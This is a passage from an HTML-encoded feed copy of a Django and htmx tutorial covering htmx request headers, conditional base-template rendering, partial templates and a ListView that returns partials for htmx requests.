style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-push-url&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        hx-form=&amp;#34;*&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;Submit a videogame&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;special-headers-sent-by-htmx-with-each-request&#34;&gt;Special headers sent by htmx with each request&lt;/h2&gt;&#xA;&lt;p&gt;There is another thing that happened and I didn&amp;rsquo;t tell you, when we submitted the form; htmx added some headers to our request.&lt;/p&gt;&#xA;&lt;p&gt;Every time a request is made with Htmx, extra headers are sent to the server. Just go to the developer tools to see what we sent in the last request.&lt;/p&gt;&#xA;&lt;p&gt;The url was sent via the HX-Current-URL header, the object element to be exchanged via HX-Target, and a parameter called HX-Request, which is always set to &amp;ldquo;true&amp;rdquo;, which tells the server that we made the request with htmx. HX-Trigger, is sent if we specify an id in the tag that triggers the request. And what are these headers for? Well, you can retrieve them with django and use them as you see fit in your views.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/EncabezadosHtmx.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/EncabezadosHtmx.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;List of extra headers are added in each request&#34; width=&#34;1422&#34; height=&#34;553&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;rendering-head-body-and-html-conditionally-with-htmx&#34;&gt;Rendering head, body and html conditionally with HTMX&lt;/h2&gt;&#xA;&lt;p&gt;Do you remember that we had the problem that if we accessed the urls directly, without going through home, htmx would not load? Well, now that we know that we have these headers, we can use them so that the template system includes the head, html and body tags only when we access the path directly.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% if not request.META.HTTP_HX_REQUEST %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;lang&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;es&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;charset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;{% block title %}{{ site.name }}{% endblock %}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {% block meta %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;generator&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Htmx&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;theme-color&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#333333&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;msapplication-TileColor&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#BBBBBB&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apple-mobile-web-app-capable&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;yes&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apple-mobile-web-app-status-bar-style&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;black&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apple-mobile-web-app-title&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;{{ site.name }}&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;property&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;og:type&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;website&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {% endblock meta %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://unpkg.com/htmx.org@1.4.1&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endif %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block header %}{% endblock header %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block body %}{% endblock body %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block footer %}{% endblock footer %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% if not request.META.HTTP_HX_REQUEST %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt;&amp;gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endif %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And now in all our templates that only return HTML, we can make them extend from base.html and place the content inside the &lt;em&gt;{% body %}&lt;/em&gt; tag.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% extends &amp;#34;base.html&amp;#34; %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% block body %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame-list&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% for videogame in videogames %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-get&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameDetail&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;videogame&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;pk&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-push-url&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;h2&lt;/span&gt;&amp;gt;{{videogame.title}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;h2&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;{{videogame.description|truncatewords:15}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;Read more&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% endfor %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-get&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;videogameCreate&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;%}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-trigger&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-target&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-swap&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-push-url&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;Submit a videogame&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;a&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endblock body %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you can access url&amp;rsquo;s directly and keep the htmx functionality.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxConHeadDespuesDePeticion.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/images/HtmxConHeadDespuesDePeticion.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Accessing the routes directly&#34; width=&#34;1260&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;conditional-rendering-in-django-viewss-with-htmx&#34;&gt;Conditional Rendering in django viewss with HTMX&lt;/h3&gt;&#xA;&lt;p&gt;Edit: The code below won&amp;rsquo;t be necessary anymore because Django 6.0 will have partial templates which allow you to retrieve partial templates directly via the use of &lt;em&gt;partialdef&lt;/em&gt; tag.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% partialdef user-info %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;user-info-&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;h3&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;h3&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{% endpartialdef %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above can be quite complicated if your templates are complex, but there are other options. For example you can generate your template name dynamically if you have received a request originated with HTMX, remember I told you about special headers?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;YourGenericView&lt;/span&gt;(ListView):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_template_names&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;META&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;HTTP_HX_REQUEST&amp;#34;&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;partials/_template.html&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; [&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;template_name]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I have shown you only the basics of htmx combined with django, remember to visit the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://htmx.org/docs/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official documentation&lt;/a&gt;&#xA; to see the other things it has to offer, like CSS transitions, websockets and SSE,&lt;/p&gt;&#xA;</content:encoded>
